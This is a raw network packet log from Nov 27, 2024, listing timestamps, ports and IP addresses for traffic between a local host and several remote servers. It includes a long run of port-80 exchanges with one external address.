Nov 27, 2024 11:14:47.751768112 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.751816034 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.751832008 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.751861095 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.752093077 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.752109051 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.752115965 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.759411097 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.764178038 CET	49897	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.764204979 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.764941931 CET	49897	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.764947891 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.787533998 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.787600040 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.787698030 CET	49896	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.792104959 CET	49896	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.792124987 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.792165041 CET	49896	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.792176008 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.798475981 CET	49908	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.798531055 CET	443	49908	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.798651934 CET	49908	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.798825026 CET	49908	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.798841953 CET	443	49908	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.837321043 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.860559940 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.860580921 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.860620022 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.860632896 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.860670090 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.860691071 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.871455908 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.871527910 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.871539116 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.871552944 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.871594906 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.872386932 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.872399092 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.926884890 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.926958084 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.927009106 CET	49895	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.927310944 CET	49895	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.927336931 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.927350044 CET	49895	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.927356005 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.928435087 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.928522110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.928555965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.928729057 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.928786039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.928827047 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.928879976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.928919077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.929049969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.929091930 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.929874897 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.929960966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.930001020 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.930049896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.930665016 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.930753946 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.930788040 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.931289911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.931340933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.931420088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.931461096 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.932197094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.932257891 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.932301044 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.932409048 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.933057070 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.933100939 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.933168888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.933208942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.933984041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.934067965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.934115887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.934797049 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.934850931 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.934901953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.934943914 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.935651064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.935715914 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.935744047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.935786009 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.936525106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.936625957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.936665058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.936708927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.937133074 CET	49909	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.937170982 CET	443	49909	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.937391043 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.937406063 CET	49909	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.937433958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.937504053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.937540054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.937805891 CET	49909	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.937819004 CET	443	49909	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.938236952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.938285112 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.938328981 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.938534021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.939141989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.939196110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.939263105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.939316034 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.940048933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.940128088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.940174103 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.940836906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.940900087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.940962076 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.941005945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.941708088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.941776991 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.941828966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.941941977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.942600012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.942656040 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.942707062 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.942883015 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.943519115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.943584919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.943636894 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.944309950 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.944360971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.944422007 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.944535017 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.945274115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.945341110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.945352077 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.945389032 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.946126938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.946171045 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.946198940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.946238995 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.946923971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.946988106 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.947072983 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.947129965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.947782040 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.947839022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.947896957 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.947989941 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.948673964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.948771000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.948801994 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.948837996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.948925972 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.948952913 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.948997974 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.949012041 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.949254990 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.949474096 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.949505091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.949548006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.949611902 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.949657917 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.950042963 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.950056076 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.950406075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.950457096 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.950489998 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.950531006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.053152084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.053206921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.053256035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.053297997 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.053741932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.053853035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.053896904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.053937912 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.054805994 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.054930925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.054981947 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.055563927 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.055628061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.055644989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.055694103 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.056240082 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.056307077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.056329966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.056371927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.057033062 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.057085991 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.057132959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.057174921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.057934046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.058001041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.058073997 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.058175087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.058898926 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.058954000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.059021950 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.059094906 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.059736013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.059799910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.059801102 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.059839964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.060507059 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.060561895 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.060614109 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.060722113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.061378956 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.061428070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.061578989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.061624050 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.062267065 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.062321901 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.062429905 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.062478065 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.063133955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.063191891 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.063193083 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.063232899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.063958883 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.064018011 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.064086914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.064157963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.064827919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.064902067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.064949036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.065752983 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.065810919 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.065824986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.065866947 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.066596031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.066674948 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.066690922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.066726923 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.067441940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.067482948 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.067498922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.067518950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.068310022 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.068377018 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.068407059 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.068561077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.069226027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.069262028 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.069273949 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.069298983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.070050955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.070156097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.070187092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.070225000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.070921898 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.070991039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.071007013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.071048021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.071835041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.071899891 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.071923018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.071964979 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.072894096 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.073021889 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.073071957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.073626041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.073695898 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.073724031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.073765039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.074371099 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.074428082 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.074502945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.074590921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.075261116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.075309992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.075344086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.075391054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.076150894 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.076204062 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.076206923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.076250076 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.129841089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.129893064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.129918098 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.129961967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.130224943 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.130273104 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.130362034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.130440950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.131127119 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.131181955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.131211042 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.131253958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.131962061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.132025957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.132282972 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.132349014 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.132396936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.133160114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.133225918 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.133277893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.133320093 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.134002924 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.134111881 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.134126902 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.134188890 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.134881020 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.134927988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.135035038 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.135076046 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.135747910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.135796070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.135862112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.135902882 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.136609077 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.136647940 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.136714935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.136774063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.137461901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.137521982 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.137686968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.137737036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.138328075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.138379097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.138381004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.138420105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.139208078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.139256954 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.139277935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.139328003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.140114069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.140171051 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.140199900 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.140239000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.140997887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.141067982 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.141100883 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.141143084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.141864061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.141931057 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.141935110 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.141973972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.142720938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.142769098 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.142790079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.142808914 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.143598080 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.143625021 CET	80	49830	185.215.113.206	192.168.2.6
